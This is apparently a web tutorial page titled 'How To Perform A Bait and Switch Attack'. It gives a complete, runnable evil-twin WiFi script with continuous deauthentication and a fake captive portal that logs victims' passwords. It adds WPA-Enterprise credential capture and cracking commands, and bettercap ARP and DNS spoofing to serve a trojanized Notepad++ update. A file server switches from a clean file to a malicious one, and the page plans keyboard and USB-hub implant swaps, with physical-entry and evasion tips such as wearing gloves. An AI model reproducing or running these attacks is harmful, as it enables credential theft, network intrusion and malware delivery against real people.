top of page

How To Perform A "Bait and Switch" Attack (Guide)

How To Perform A "Bait and Switch" Attack | Black Hat HQ

Performing A "Bait and Switch" Attack


Here's the full bait-and-switch attack methodology, covering all three major variants: network evil twin, physical device swap, and web-based redirection. This is a guide on how to perform a "Bait and Switch" attack.


Bait and Switch Attack Overview


A bait-and-switch attack offers the target something legitimate ("bait") and then substitutes it with something malicious ("switch"). In pentesting, this covers three distinct vectors:


Variant

Bait

Switch

Goal

Network Evil Twin

Legitimate-looking WiFi

Rogue AP that captures credentials, then passes user through

Credential harvesting, traffic interception

Physical Device Swap

Legitimate peripheral (keyboard, dock, USB hub)

Identical-looking device with implant

Keystroke logging, network backdoor, persistence

Web/Content Bait

Legitimate download, update, or page

Malicious payload served instead

Initial access, malware delivery


I'll cover all three with full tooling and operational details.


Variant 1: Network Evil Twin (WiFi Bait and Switch)


This is the classic: set up a rogue access point mimicking the target's legitimate WiFi, capture credentials when users connect, then transparently bridge them to the real network so they never suspect anything.


The Attack Architecture


[Target User] --> [Your Rogue AP] --> [Your Portal/Capture] --> [Legitimate Network]
                      |                        |
                 Same SSID as           Credentials harvested
                 legitimate WiFi        then user passed through

Full Setup with Hostapd + dnsmasq + Captive Portal


This script sets up a complete evil twin with credential capture and transparent passthrough:


bash

#!/bin/bash
# evil_twin.sh — WiFi Bait-and-Switch Attack
# Prerequisites: Two wireless interfaces (or one + VLAN)
# wlan0: Internet connection (uplink)
# wlan1: Rogue AP (broadcasts the evil twin SSID)

set -e

TARGET_SSID="TargetCorp-WiFi"
EVIL_INTERFACE="wlan1"
UPLINK_INTERFACE="wlan0"
CAPTURE_DIR="/tmp/evil_twin_captures"
PORTAL_PORT=80

# Colors
RED='\033[0;31m'
GREEN='\033[0;32m'
NC='\033[0m'

echo -e "${RED}[*] Evil Twin Bait-and-Switch Attack${NC}"
echo -e "${RED}[*] Target SSID: $TARGET_SSID${NC}"

# ===== Step 1: Kill interfering services =====
echo "[*] Killing interfering network services..."
systemctl stop NetworkManager 2>/dev/null || true
systemctl stop wpa_supplicant 2>/dev/null || true
airmon-ng check kill 2>/dev/null || true
killall dnsmasq hostapd 2>/dev/null || true
sleep 2

# ===== Step 2: Configure rogue AP interface =====
echo "[*] Configuring $EVIL_INTERFACE..."
ip link set $EVIL_INTERFACE down
iw dev $EVIL_INTERFACE set type managed
ip addr flush dev $EVIL_INTERFACE
ip addr add 10.0.0.1/24 dev $EVIL_INTERFACE
ip link set $EVIL_INTERFACE up

# ===== Step 3: Create Hostapd config =====
# Mimic the target AP's exact parameters for seamless handoff
cat > /tmp/hostapd_evil.conf << EOF
interface=$EVIL_INTERFACE
driver=nl80211
ssid=$TARGET_SSID
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1        # Open authentication (WPA handled below)
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=FreeWifi123    # Password the user enters (if WPA)
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
rsn_pairwise=CCMP
EOF

# If targeting an open network, use:
# auth_algs=1, no wpa lines above

echo "[*] Starting Hostapd..."
hostapd -B /tmp/hostapd_evil.conf
sleep 3

# ===== Step 4: Configure dnsmasq for DHCP + DNS =====
cat > /tmp/dnsmasq_evil.conf << EOF
interface=$EVIL_INTERFACE
dhcp-range=10.0.0.50,10.0.0.200,255.255.255.0,12h
dhcp-option=3,10.0.0.1           # Gateway
dhcp-option=6,10.0.0.1           # DNS server (we are the DNS)
# Redirect ALL DNS to us
address=/#/10.0.0.1
# Except for specific bypass domains (for passthrough)
# server=/legitimate-site.com/8.8.8.8
EOF

echo "[*] Starting dnsmasq..."
dnsmasq -C /tmp/dnsmasq_evil.conf -d &
DNSMASQ_PID=$!
sleep 2

# ===== Step 5: Enable IP forwarding and NAT =====
echo "[*] Enabling IP forwarding..."
sysctl -w net.ipv4.ip_forward=1 > /dev/null

# NAT for passthrough once user authenticates
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -t nat -A POSTROUTING -o $UPLINK_INTERFACE -j MASQUERADE
iptables -A FORWARD -i $EVIL_INTERFACE -o $UPLINK_INTERFACE -j ACCEPT
iptables -A FORWARD -i $UPLINK_INTERFACE -o $EVIL_INTERFACE -j ACCEPT

# ===== Step 6: Deauth legitimate AP to force clients to us =====
# Only deauth the target AP, not everything in range
echo "[*] Scanning for target AP's BSSID..."
TARGET_BSSID=$(airodump-ng --bssid $TARGET_SSID $EVIL_INTERFACE 2>/dev/null | 
    grep "$TARGET_SSID" | head -1 | awk '{print $1}')

if [ -n "$TARGET_BSSID" ]; then
    echo -e "${GREEN}[*] Target BSSID: $TARGET_BSSID${NC}"
    echo "[*] Sending deauth packets to force clients to reconnect..."
    
    # Continuous deauth while portal is running
    aireplay-ng --deauth 0 -a $TARGET_BSSID $EVIL_INTERFACE &
    DEAUTH_PID=$!
else
    echo "[!] Could not find target BSSID — clients will connect naturally if signal is stronger"
fi

# ===== Step 7: Captive portal + credential capture (Python) =====
mkdir -p $CAPTURE_DIR

cat > /tmp/portal_server.py << 'PYEOF'
#!/usr/bin/env python3
import http.server
import socketserver
import urllib.parse
import os
import time
import re
import subprocess
import threading

CAPTURE_FILE = "/tmp/evil_twin_captures/credentials.txt"
PORTAL_HTML = """
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>WiFi Authentication Required</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
        }
        .portal {
            background: white;
            padding: 40px;
            border-radius: 12px;
            box-shadow: 0 20px 60px rgba(0,0,0,0.3);
            max-width: 400px;
            width: 90%;
            text-align: center;
        }
        .portal img { width: 60px; margin-bottom: 20px; }
        .portal h2 { color: #333; margin-bottom: 10px; }
        .portal p { color: #666; font-size: 14px; margin-bottom: 25px; }
        .portal input[type="password"] {
            width: 100%;
            padding: 12px;
            border: 2px solid #e0e0e0;
            border-radius: 8px;
            font-size: 16px;
            margin-bottom: 15px;
            transition: border-color 0.3s;
        }
        .portal input[type="password"]:focus {
            border-color: #667eea;
            outline: none;
        }
        .portal button {
            width: 100%;
            padding: 12px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            color: white;
            border: none;
            border-radius: 8px;
            font-size: 16px;
            cursor: pointer;
            font-weight: 600;
        }
        .portal button:hover { opacity: 0.9; }
        .error { color: #e74c3c; font-size: 13px; margin-bottom: 10px; display: none; }
    </style>
</head>
<body>
    <div class="portal">
        <h2>WiFi Authentication Required</h2>
        <p>Please enter your WiFi password to continue.</p>
        <p id="error" class="error">Incorrect password. Please try again.</p>
        <form method="POST" action="/login">
            <input type="password" name="password" placeholder="WiFi Password" required autofocus>
            <button type="submit">Connect</button>
        </form>
        <p style="margin-top: 20px; font-size: 12px; color: #999;">
            This network requires periodic re-authentication for security purposes.
        </p>
    </div>
</body>
</html>
"""

SUCCESS_HTML = """
<!DOCTYPE html>
<html>
<head><title>Connected</title>
<meta http-equiv="refresh" content="3;url=http://captive.apple.com/">
</head>
<body style="text-align:center;font-family:sans-serif;padding-top:100px;">
<h2 style="color:green;">✓ Connected Successfully</h2>
<p>Redirecting you to the internet...</p>
</body>
</html>
"""

class PortalHandler(http.server.BaseHTTPRequestHandler):
    
    def log_message(self, format, *args):
        # Log to our capture file instead of stderr
        pass
    
    def do_GET(self):
        # Check if this is a captive portal detection probe
        # iOS: /hotspot-detect.html, /library/test/success.html
        # Android: /generate_204
        # Windows: /ncsi.txt, /connecttest.txt
        # macOS: /hotspot-detect.html
        
        # For probe detection, return success so they think internet works
        # BUT we redirect browsers to the portal
        ua = self.headers.get('User-Agent', '')
        
        # Captive portal probes — let them succeed
        if any(x in self.path for x in ['generate_204', 'ncsi.txt', 
                                          'connecttest.txt', 'redirect',
                                          'hotspot-detect.html']):
            self.send_response(200)
            self.end_headers()
            return
        
        # Actual browser requests — show portal
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.end_headers()
        self.wfile.write(PORTAL_HTML.encode())
    
    def do_POST(self):
        if self.path == '/login':
            content_length = int(self.headers.get('Content-Length', 0))
            post_data = self.rfile.read(content_length).decode()
            params = urllib.parse.parse_qs(post_data)
            password = params.get('password', [''])[0]
            
            client_ip = self.client_address[0]
            timestamp = time.strftime('%Y-%m-%d %H:%M:%S')
            
            # Log captured credentials
            user_agent = self.headers.get('User-Agent', 'Unknown')
            log_entry = f"[{timestamp}] IP:{client_ip} Password:{password} UA:{user_agent}\n"
            
            with open(CAPTURE_FILE, 'a') as f:
                f.write(log_entry)
            
            print(f"\033[0;32m[!] CAPTURED: {password} from {client_ip}\033[0m")
            
            # Always show "success" to avoid suspicion
            # The user will be NATed through to the real internet now
            self.send_response(200)
            self.send_header('Content-Type', 'text/html')
            self.end_headers()
            self.wfile.write(SUCCESS_HTML.encode())

if __name__ == '__main__':
    PORT = 80
    with socketserver.ThreadingTCPServer(("0.0.0.0", PORT), PortalHandler) as httpd:
        print(f"[*] Captive portal listening on port {PORT}")
        httpd.serve_forever()
PYEOF

echo "[*] Starting captive portal server..."
python3 /tmp/portal_server.py &
PORTAL_PID=$!

# ===== Step 8: iptables redirect for captive portal =====
# Redirect all HTTP (port 80) traffic to our portal
# But allow DNS (53) and HTTPS (443) to pass through
iptables -t nat -A PREROUTING -i $EVIL_INTERFACE -p tcp --dport 80 \
    -j DNAT --to-destination 10.0.0.1:80

echo -e "${GREEN}[+] Evil Twin is LIVE${NC}"
echo -e "${GREEN}[+] SSID: $TARGET_SSID${NC}"
echo -e "${GREEN}[+] Captured credentials → $CAPTURE_DIR/credentials.txt${NC}"
echo ""
echo "[*] Press Ctrl+C to stop all services and clean up"

# Wait for interrupt
trap "cleanup" INT TERM

cleanup() {
    echo -e "\n${RED}[*] Shutting down...${NC}"
    kill $PORTAL_PID 2>/dev/null
    kill $DNSMASQ_PID 2>/dev/null
    kill $DEAUTH_PID 2>/dev/null
    killall hostapd 2>/dev/null
    
    # Restore iptables
    iptables --flush
    iptables --table nat --flush
    iptables --delete-chain
    iptables --table nat --delete-chain
    
    # Bring down interface
    ip link set $EVIL_INTERFACE down
    ip addr flush dev $EVIL_INTERFACE
    
    # Restart network manager
    systemctl start NetworkManager 2>/dev/null || true
    systemctl start wpa_supplicant 2>/dev/null || true
    
    echo "[*] Cleanup complete"
    exit 0
}

# Wait
while true; do
    sleep 1
done

Advanced: WPA-Enterprise Evil Twin (RADIUS Bait and Switch)


If the target uses WPA-Enterprise (802.1X), you can still bait-and-switch:


bash

# Use hostapd-wpe (Wireless Pwnage Edition) for EAP credential harvesting
# https://github.com/aircrack-ng/aircrack-ng/tree/master/scripts/hostapd-wpe

# hostapd-wpe config for WPA-Enterprise evil twin
cat > /tmp/hostapd-wpe.conf << EOF
interface=wlan1
ssid=TargetCorp-Enterprise
driver=nl80211
hw_mode=g
channel=6

ieee8021x=1
eap_server=1
eap_fast_a_id=101112131415161718191a1b1c1d1e1f
eap_fast_a_id_info=hostapd-wpe
eap_fast_prov=3
pac_key_lifetime=604800
pac_key_refresh_time=86400
pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f

# Log captures
wpe_logfile=/tmp/hostapd-wpe-creds.log

auth_algs=1
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP
rsn_pairwise=CCMP
EOF

# Run hostapd-wpe
hostapd-wpe /tmp/hostapd-wpe.conf

# When a client connects with PEAP/MSCHAPv2:
# hostapd-wpe captures the inner MSCHAPv2 challenge/response
# Crack with asleap or hashcat:
asleap -C challenge -R response -W wordlist.txt
# hashcat -m 5500 hash.txt wordlist.txt

Using Bettercap for Quick Evil Twin


For rapid deployments when you don't need a full captive portal:


bash

# Bettercap evil twin module
bettercap -eval "
  set wifi.ap.ssid TargetCorp-WiFi;
  set wifi.ap.bssid de:ad:be:ef:ca:fe;
  wifi.recon on;
  wifi.ap on;
  http.proxy on;
  http.proxy.sslstrip true;
  set http.proxy.address 10.0.0.1;
  net.sniff on
"

Known Network Profile Exploitation (Windows)


Windows devices automatically reconnect to known networks. If you know the SSID the target devices trust:


bash

# Probe the air for devices looking for specific SSIDs
airodump-ng wlan0mon --band abg

# Look for "Probe Requests" — these show SSIDs devices are searching for
# Common ones: "Starbucks WiFi", "attwifi", "xfinitywifi", corporate SSIDs

# Set your evil twin to match a probed SSID — instant connection from nearby devices
# No captive portal needed if it's an open network the device auto-connects to

Variant 2: Physical Device Bait and Switch


Swap a legitimate peripheral with a malicious one that looks identical. This is a physical access attack — you need brief unsupervised access to swap the device.


USB Keyboard Implant (Arduino/Teensy/Rubber Ducky)


The target's keyboard is swapped with an identical model containing a hardware implant that logs keystrokes.


Build Process:


[Target Keyboard] → [Opened, microcontroller inserted between USB controller and cable]
                        |
                        v
              [STM32/Arduino Micro that passes keystrokes through
               but logs them to onboard storage or WiFi]

Real-world scenario:


  1. Recon: Identify the exact keyboard model the target uses (visit their desk, LinkedIn desk photos, office supply orders)

  2. Acquire: Buy the identical keyboard model

  3. Implant: Open the keyboard case, solder a USB host shield + microcontroller + SD card module in-line between the USB cable and keyboard PCB

  4. Swap: During a meeting, fire drill, or after hours, swap the target's keyboard with the implanted one

  5. Recovery: Retrieve the implant (or exfiltrate logs via WiFi if you included a ESP8266/ESP32)


python

# Arduino Micro / Pro Micro keystroke passthrough logger
# This sits between the keyboard and the host PC
# It reads from the keyboard, logs to SD card, and passes through to host

# WARNING: This is for hardware dev boards, not a standard Arduino
# You need a board with USB host capability (Teensy 4.1, Arduino Due + USB Host Shield)

# Pseudocode for a USB passthrough keylogger:
"""
1. USB Host Shield reads HID reports from the real keyboard
2. Microcontroller logs each report to microSD with timestamp
3. Microcontroller forwards the same HID report to the target PC via USB device mode
4. Target PC sees a normal keyboard — no drivers needed
5. For WiFi exfil: ESP8266 connects to C2, sends log batches over HTTP
"""

USB Hub Implant (Network Backdoor)


A seemingly innocent USB hub that doubles as a network backdoor:


[USB Hub (looks normal)]
        |
        v
  [USB Hub Controller] → passes USB through normally
        |
        v
  [Hidden Raspberry Pi Zero W inside]
        |
        v
  [Connected to target's network via Ethernet passthrough or WiFi]
        |
        v
  [Reverse shell to C2]

Operational approach:


  1. Acquire a USB hub with enough internal space (Anker 4-port hubs work well)

  2. Remove the PCB, install a Raspberry Pi Zero W (or Zero 2 W) inside

  3. Wire the Pi to the hub's power (5V rail) and connect one of the hub ports internally

  4. The hub passes USB through normally — the target plugs in keyboard, mouse, etc.

  5. The internal Pi connects to WiFi (or Ethernet if the hub has it) and calls home

  6. From your C2, you have a Linux device on the target's internal network


Docking Station Swap


Many offices use standardized docking stations (Dell WD19, Lenovo ThinkPad docks, etc.). These have Thunderbolt/USB-C with DMA access to the host.


[Identical Docking Station]
        |
        v
  [Original dock PCB removed]
        |
        v
  [Modified PCB with DMA-capable FPGA or microcontroller]
        |
        v
  [Thunderbolt DMA attack: read host memory directly through PCIe]

Tools: Thunderspy, PCILeech, Screamer — all exploit Thunderbolt DMA vulnerabilities when the dock is connected.


Execution: The Physical Swap


Timeline:
  Day 1-3: Recon
    - Photograph the target's desk (visit as "interview candidate", 
      "delivery person", or "client meeting")
    - Identify keyboard, mouse, dock, USB hub models
    - Note cable management, desk position, badge reader location

  Day 4-7: Build
    - Acquire matching hardware
    - Build and test implant
    - Verify passthrough works seamlessly (no driver prompts, no lights, no delays)

  Day 8: Swap (options)
    - Option A: After-hours physical access (tailgate in with cleaning crew, 
      stay late as a "working late" employee)
    - Option B: Lunch break — 30-45 minutes unattended
    - Option C: Pre-scheduled "IT maintenance" cover
    - Option D: Fire drill (but scan this against scope — disruptive)

  The swap itself takes 30-60 seconds:
    1. Unplug old device
    2. Plug in new device (identical appearance)
    3. Hide old device in bag
    4. Leave immediately

Variant 3: Web/Content Bait and Switch


Malicious Software Update


bash

# MITM + DNS spoof to redirect an auto-updater to your malicious payload

# Example: Notepad++ auto-update redirection
# 1. ARP spoof the target's gateway
# 2. DNS spoof notepad-plus-plus.org to your server
# 3. When Notepad++ checks for updates, serve a malicious installer
# 4. User clicks "Install Update" — they get your payload

bettercap -eval "
  set arp.spoof.targets 192.168.1.50;
  arp.spoof on;
  set dns.spoof.domains notepad-plus-plus.org,*.notepad-plus-plus.org;
  dns.spoof on
"

# Your server serves a modified installer
# The installer installs the real update AND your backdoor

Download Bait and Switch (Social Engineering)


Send the target a legitimate file (real PDF, real spreadsheet), but hosted on your server. Once they trust the source, swap the file:


Day 1: Send real_document.pdf → target downloads, it's clean
Day 3: Replace real_document.pdf with trojanized version → target redownloads

python

#!/usr/bin/env python3
"""
Download bait-and-switch server.
Serves clean file first, then swaps to malicious on subsequent downloads.
"""

from http.server import HTTPServer, BaseHTTPRequestHandler
import time

CLEAN_FILE = "/tmp/clean_report.pdf"
MALICIOUS_FILE = "/tmp/malicious_report.pdf"
SWITCH_THRESHOLD = 1  # How many clean downloads before switching
download_count = {}

class BaitSwitchHandler(BaseHTTPRequestHandler):
    
    def do_GET(self):
        client_ip = self.client_address[0]
        
        # Track per-IP download count
        if client_ip not in download_count:
            download_count[client_ip] = 0
        
        download_count[client_ip] += 1
        count = download_count[client_ip]
        
        if count <= SWITCH_THRESHOLD:
            # Serve legitimate file
            print(f"[*] {client_ip}: Serving CLEAN file (download #{count})")
            self.send_response(200)
            self.send_header('Content-Type', 'application/pdf')
            self.send_header('Content-Disposition', 'attachment; filename="Q3_Report.pdf"')
            self.end_headers()
            with open(CLEAN_FILE, 'rb') as f:
                self.wfile.write(f.read())
        else:
            # Swap to malicious
            print(f"[!] {client_ip}: Switching to MALICIOUS payload (download #{count})")
            self.send_response(200)
            self.send_header('Content-Type', 'application/pdf')
            self.send_header('Content-Disposition', 'attachment; filename="Q3_Report.pdf"')
            self.end_headers()
            with open(MALICIOUS_FILE, 'rb') as f:
                self.wfile.write(f.read())
    
    def log_message(self, format, *args):
        pass

if __name__ == '__main__':
    server = HTTPServer(('0.0.0.0', 8080), BaitSwitchHandler)
    print("[*] Bait-and-Switch download server on port 8080")
    print(f"[*] First {SWITCH_THRESHOLD} downloads: CLEAN")
    print(f"[*] Subsequent downloads: MALICIOUS")
    server.serve_forever()

Operational Security for Bait and Switch Attacks


Network Evil Twin:


  • Match the target AP's channel, encryption type, and even BSSID (MAC spoof) for seamless takeover

  • The deauth attack is noisy — use it sparingly or rely on signal strength (place your AP physically closer)

  • Modern devices show "security changed" warnings if your certificate doesn't match — use a valid TLS cert if possible (Let's Encrypt)

  • Turn off logging on your AP once testing is complete

  • Destroy the captured credential file after the engagement


Physical Swap:


  • Wear gloves (no fingerprints on the implant)

  • The implant should be visually indistinguishable — same weight, same LED behavior, same texture

  • Test the swap at home first: does the target OS show any "new hardware" dialogs?

  • Have a plan to recover the implant before the engagement ends

  • Photos before/after ensure you leave the desk exactly as found


Web Bait:


  • Use HTTPS with a valid certificate (Let's Encrypt for your phishing domain)

  • The first download must be 100% clean and functional — any suspicion kills follow-up

  • Log the User-Agent, IP, and timestamp of each download for your report

  • Have the switch script ready to revert to clean if the target contacts you


Enroll In Online Cybersecurity & Hacking Classes/Courses | Black Hat HQ

Comments


bottom of page